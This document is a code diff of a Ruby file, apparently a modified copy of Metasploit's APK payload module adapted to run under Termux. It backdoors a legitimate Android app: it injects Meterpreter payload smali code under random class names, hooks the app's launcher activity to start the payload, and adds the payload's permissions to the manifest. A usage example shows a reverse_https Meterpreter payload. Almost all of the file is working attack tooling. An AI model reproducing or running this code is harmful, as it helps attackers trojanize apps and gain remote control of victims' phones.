|
| 1 | +# -*- coding: binary -*- |
| 2 | + |
| 3 | +require 'msf/core' |
| 4 | +require 'rex/text' |
| 5 | +require 'tmpdir' |
| 6 | +require 'nokogiri' |
| 7 | +require 'fileutils' |
| 8 | +require 'optparse' |
| 9 | +require 'open3' |
| 10 | +require 'date' |
| 11 | + |
| 12 | +class Msf::Payload::Apk |
| 13 | + |
| 14 | + def print_status(msg='') |
| 15 | + $stderr.puts "[*] #{msg}" |
| 16 | + end |
| 17 | + |
| 18 | + def print_error(msg='') |
| 19 | + $stderr.puts "[-] #{msg}" |
| 20 | + end |
| 21 | + |
| 22 | + alias_method :print_bad, :print_error |
| 23 | + |
| 24 | + def usage |
| 25 | + print_error "Usage: #{$0} -x [target.apk] [msfvenom options]\n" |
| 26 | + print_error "e.g. #{$0} -x messenger.apk -p android/meterpreter/reverse_https LHOST=192.168.1.1 LPORT=8443\n" |
| 27 | + end |
| 28 | + |
| 29 | + def run_cmd(cmd) |
| 30 | + begin |
| 31 | + stdin, stdout, stderr = Open3.popen3(cmd) |
| 32 | + return stdout.read + stderr.read |
| 33 | + rescue Errno::ENOENT |
| 34 | + return nil |
| 35 | + end |
| 36 | + end |
| 37 | + |
| 38 | + # Find a suitable smali point to hook |
| 39 | + def find_hook_point(amanifest) |
| 40 | + package = amanifest.xpath("//manifest").first['package'] |
| 41 | + application = amanifest.xpath('//application') |
| 42 | + application_name = application.attribute("name") |
| 43 | + if application_name |
| 44 | + application_str = application_name.to_s |
| 45 | + unless application_str == 'android.app.Application' |
| 46 | + return application_str |
| 47 | + end |
| 48 | + end |
| 49 | + activities = amanifest.xpath("//activity|//activity-alias") |
| 50 | + for activity in activities |
| 51 | + activityname = activity.attribute("targetActivity") |
| 52 | + unless activityname |
| 53 | + activityname = activity.attribute("name") |
| 54 | + end |
| 55 | + category = activity.search('category') |
| 56 | + unless category |
| 57 | + next |
| 58 | + end |
| 59 | + for cat in category |
| 60 | + categoryname = cat.attribute('name') |
| 61 | + if (categoryname.to_s == 'android.intent.category.LAUNCHER' || categoryname.to_s == 'android.intent.action.MAIN') |
| 62 | + name = activityname.to_s |
| 63 | + if name.start_with?('.') |
| 64 | + name = package + name |
| 65 | + end |
| 66 | + return name |
| 67 | + end |
| 68 | + end |
| 69 | + end |
| 70 | + end |
| 71 | + |
| 72 | + def parse_manifest(manifest_file) |
| 73 | + File.open(manifest_file, "rb"){|file| |
| 74 | + data = File.read(file) |
| 75 | + return Nokogiri::XML(data) |
| 76 | + } |
| 77 | + end |
| 78 | + |
| 79 | + def fix_manifest(tempdir, package, main_service, main_broadcast_receiver) |
| 80 | + #Load payload's manifest |
| 81 | + payload_manifest = parse_manifest("#{tempdir}/payload/AndroidManifest.xml") |
| 82 | + payload_permissions = payload_manifest.xpath("//manifest/uses-permission") |
| 83 | + |
| 84 | + #Load original apk's manifest |
| 85 | + original_manifest = parse_manifest("#{tempdir}/original/AndroidManifest.xml") |
| 86 | + original_permissions = original_manifest.xpath("//manifest/uses-permission") |
| 87 | + |
| 88 | + old_permissions = [] |
| 89 | + add_permissions = [] |
| 90 | + |
| 91 | + original_permissions.each do |permission| |
| 92 | + name = permission.attribute("name").to_s |
| 93 | + old_permissions << name |
| 94 | + end |
| 95 | + |
| 96 | + application = original_manifest.xpath('//manifest/application') |
| 97 | + payload_permissions.each do |permission| |
| 98 | + name = permission.attribute("name").to_s |
| 99 | + unless old_permissions.include?(name) |
| 100 | + add_permissions += [permission.to_xml] |
| 101 | + end |
| 102 | + end |
| 103 | + add_permissions.shuffle! |
| 104 | + for permission_xml in add_permissions |
| 105 | + print_status("Adding #{permission_xml}") |
| 106 | + if original_permissions.empty? |
| 107 | + application.before(permission_xml) |
| 108 | + original_permissions = original_manifest.xpath("//manifest/uses-permission") |
| 109 | + else |
| 110 | + original_permissions.before(permission_xml) |
| 111 | + end |
| 112 | + end |
| 113 | + |
| 114 | + application = original_manifest.at_xpath('/manifest/application') |
| 115 | + receiver = payload_manifest.at_xpath('/manifest/application/receiver') |
| 116 | + service = payload_manifest.at_xpath('/manifest/application/service') |
| 117 | + receiver.attributes["name"].value = package + '.' + main_broadcast_receiver |
| 118 | + receiver.attributes["label"].value = main_broadcast_receiver |
| 119 | + service.attributes["name"].value = package + '.' + main_service |
| 120 | + application << receiver.to_xml |
| 121 | + application << service.to_xml |
| 122 | + |
| 123 | + File.open("#{tempdir}/original/AndroidManifest.xml", "wb") { |file| file.puts original_manifest.to_xml } |
| 124 | + end |
| 125 | + |
| 126 | + def parse_orig_cert_data(orig_apkfile) |
| 127 | + orig_cert_data = Array[] |
| 128 | + keytool_output = run_cmd(%Q{keytool -J-Duser.language=en -printcert -jarfile "#{orig_apkfile}"}) |
| 129 | + owner_line = keytool_output.match(/^Owner:.+/)[0] |
| 130 | + orig_cert_dname = owner_line.gsub(/^.*:/, '').strip |
| 131 | + orig_cert_data.push("#{orig_cert_dname}") |
| 132 | + valid_from_line = keytool_output.match(/^Valid from:.+/)[0] |
| 133 | + from_date_str = valid_from_line.gsub(/^Valid from:/, '').gsub(/until:.+/, '').strip |
| 134 | + to_date_str = valid_from_line.gsub(/^Valid from:.+until:/, '').strip |
| 135 | + from_date = DateTime.parse("#{from_date_str}") |
| 136 | + orig_cert_data.push(from_date.strftime("%Y/%m/%d %T")) |
| 137 | + to_date = DateTime.parse("#{to_date_str}") |
| 138 | + validity = (to_date - from_date).to_i |
| 139 | + orig_cert_data.push("#{validity}") |
| 140 | + return orig_cert_data |
| 141 | + end |
| 142 | + |
| 143 | + def backdoor_apk(apkfile, raw_payload) |
| 144 | + #unless apkfile && File.readable?(apkfile) |
| 145 | + #usage |
| 146 | + #raise RuntimeError, "Invalid template: #{apkfile}" |
| 147 | + #end |
| 148 | + |
| 149 | + #keytool = run_cmd("keytool") |
| 150 | + #unless keytool != nil |
| 151 | + #raise RuntimeError, "keytool not found. If it's not in your PATH, please add it." |
| 152 | + #end |
| 153 | + |
| 154 | + #jarsigner = run_cmd("jarsigner") |
| 155 | + #unless jarsigner != nil |
| 156 | + #raise RuntimeError, "jarsigner not found. If it's not in your PATH, please add it." |
| 157 | + #end |
| 158 | + |
| 159 | + #zipalign = run_cmd("zipalign") |
| 160 | + #unless zipalign != nil |
| 161 | + #raise RuntimeError, "zipalign not found. If it's not in your PATH, please add it." |
| 162 | + #end |
| 163 | + |
| 164 | + #apktool = run_cmd("apktool -version") |
| 165 | + #unless apktool != nil |
| 166 | + #raise RuntimeError, "apktool not found. If it's not in your PATH, please add it." |
| 167 | + #end |
| 168 | + |
| 169 | + #apk_v = Gem::Version.new(apktool) |
| 170 | + #unless apk_v >= Gem::Version.new('2.0.1') |
| 171 | + #raise RuntimeError, "apktool version #{apk_v} not supported, please download at least version 2.0.1." |
| 172 | + #end |
| 173 | + |
| 174 | + #Create temporary directory where work will be done |
| 175 | + tempdir = "/data/data/com.termux/files/home/ubuntu-fs/root/.bind/" |
| 176 | + |
| 177 | + #keystore = "#{tempdir}/signing.keystore" |
| 178 | + #storepass = "android" |
| 179 | + #keypass = "android" |
| 180 | + #keyalias = "signing.key" |
| 181 | + #orig_cert_data = parse_orig_cert_data(apkfile) |
| 182 | + #orig_cert_dname = orig_cert_data[0] |
| 183 | + #orig_cert_startdate = orig_cert_data[1] |
| 184 | + #orig_cert_validity = orig_cert_data[2] |
| 185 | + |
| 186 | + #print_status "Creating signing key and keystore..\n" |
| 187 | + #run_cmd("keytool -genkey -v -keystore #{keystore} \ |
| 188 | + #-alias #{keyalias} -storepass #{storepass} -keypass #{keypass} -keyalg RSA \ |
| 189 | + #-keysize 2048 -startdate '#{orig_cert_startdate}' \ |
| 190 | + #-validity #{orig_cert_validity} -dname '#{orig_cert_dname}'") |
| 191 | + |
| 192 | + #File.open("#{tempdir}/payload.apk", "wb") {|file| file.puts raw_payload } |
| 193 | + #FileUtils.cp apkfile, "#{tempdir}/original.apk" |
| 194 | + |
| 195 | + #print_status "Decompiling original APK..\n" |
| 196 | + #run_cmd("apktool d #{tempdir}/original.apk -o #{tempdir}/original") |
| 197 | + #print_status "Decompiling payload APK..\n" |
| 198 | + #run_cmd("apktool d #{tempdir}/payload.apk -o #{tempdir}/payload") |
| 199 | + |
| 200 | + amanifest = parse_manifest("#{tempdir}/original/AndroidManifest.xml") |
| 201 | + |
| 202 | + print_status "Locating hook point..\n" |
| 203 | + hookable_class = find_hook_point(amanifest) |
| 204 | + smalifile = "#{tempdir}/original/smali*/" + hookable_class.gsub(/\./, "/") + ".smali" |
| 205 | + smalifiles = Dir.glob(smalifile) |
| 206 | + for smalifile in smalifiles |
| 207 | + if File.readable?(smalifile) |
| 208 | + hooksmali = File.read(smalifile) |
| 209 | + break |
| 210 | + end |
| 211 | + end |
| 212 | + |
| 213 | + unless hooksmali |
| 214 | + raise RuntimeError, "Unable to find hook point in #{smalifile}\n" |
| 215 | + end |
| 216 | + |
| 217 | + entrypoint = 'return-void' |
| 218 | + unless hooksmali.include? entrypoint |
| 219 | + raise RuntimeError, "Unable to find hookable function in #{smalifile}\n" |
| 220 | + end |
| 221 | + |
| 222 | + # Remove unused files |
| 223 | + FileUtils.rm "#{tempdir}/payload/smali/com/metasploit/stage/MainActivity.smali" |
| 224 | + FileUtils.rm Dir.glob("#{tempdir}/payload/smali/com/metasploit/stage/R*.smali") |
| 225 | + |
| 226 | + package = amanifest.xpath("//manifest").first['package'] |
| 227 | + package = package.downcase + ".#{Rex::Text::rand_text_alpha_lower(5)}" |
| 228 | + classes = {} |
| 229 | + classes['Payload'] = Rex::Text::rand_text_alpha_lower(5).capitalize |
| 230 | + classes['MainService'] = Rex::Text::rand_text_alpha_lower(5).capitalize |
| 231 | + classes['MainBroadcastReceiver'] = Rex::Text::rand_text_alpha_lower(5).capitalize |
| 232 | + package_slash = package.gsub(/\./, "/") |
| 233 | + print_status "Adding payload as package #{package}\n" |
| 234 | + payload_files = Dir.glob("#{tempdir}/payload/smali/com/metasploit/stage/*.smali") |
| 235 | + payload_dir = "#{tempdir}/original/smali/#{package_slash}/" |
| 236 | + FileUtils.mkdir_p payload_dir |
| 237 | + |
| 238 | + # Copy over the payload files, fixing up the smali code |
| 239 | + payload_files.each do |file_name| |
| 240 | + smali = File.read(file_name) |
| 241 | + smali_class = File.basename file_name |
| 242 | + for oldclass, newclass in classes |
| 243 | + if smali_class == "#{oldclass}.smali" |
| 244 | + smali_class = "#{newclass}.smali" |
| 245 | + end |
| 246 | + smali.gsub!(/com\/metasploit\/stage\/#{oldclass}/, package_slash + "/" + newclass) |
| 247 | + end |
| 248 | + smali.gsub!(/com\/metasploit\/stage/, package_slash) |
| 249 | + newfilename = "#{payload_dir}#{smali_class}" |
| 250 | + File.open(newfilename, "wb") {|file| file.puts smali } |
| 251 | + end |
| 252 | + |
| 253 | + payloadhook = %Q^invoke-static {}, L#{package_slash}/#{classes['MainService']};->start()V |
| 254 | +
|
| 255 | + ^ + entrypoint |
| 256 | + hookedsmali = hooksmali.sub(entrypoint, payloadhook) |
| 257 | + |
| 258 | + print_status "Loading #{smalifile} and injecting payload..\n" |
| 259 | + File.open(smalifile, "wb") {|file| file.puts hookedsmali } |
| 260 | + |
| 261 | + injected_apk = "#{tempdir}/output.apk" |
| 262 | + aligned_apk = "#{tempdir}/aligned.apk" |
| 263 | + print_status "Poisoning the manifest with meterpreter permissions..\n" |
| 264 | + fix_manifest(tempdir, package, classes['MainService'], classes['MainBroadcastReceiver']) |
| 265 | + |
| 266 | + #print_status "Rebuilding #{apkfile} with meterpreter injection as #{injected_apk}\n" |
| 267 | + #apktool_output = run_cmd("apktool b -o #{injected_apk} #{tempdir}/original") |
| 268 | + #unless File.readable?(injected_apk) |
| 269 | + #print_error apktool_output |
| 270 | + #raise RuntimeError, "Unable to rebuild apk with apktool" |
| 271 | + #end |
| 272 | + |
| 273 | + #print_status "Signing #{injected_apk}\n" |
| 274 | + #run_cmd("jarsigner -sigalg SHA1withRSA -digestalg SHA1 -keystore #{keystore} -storepass #{storepass} -keypass #{keypass} #{injected_apk} #{keyalias}") |
| 275 | + print_status "Now..goto ubuntu and Recompile..\n" |
| 276 | + #run_cmd("zipalign 4 #{injected_apk} #{aligned_apk}") |
| 277 | + |
| 278 | + #outputapk = File.read(aligned_apk) |
| 279 | + |
| 280 | + #FileUtils.remove_entry tempdir |
| 281 | + #outputapk |
| 282 | + end |
| 283 | +end |
| 284 | + |
| 285 | + |
0 commit comments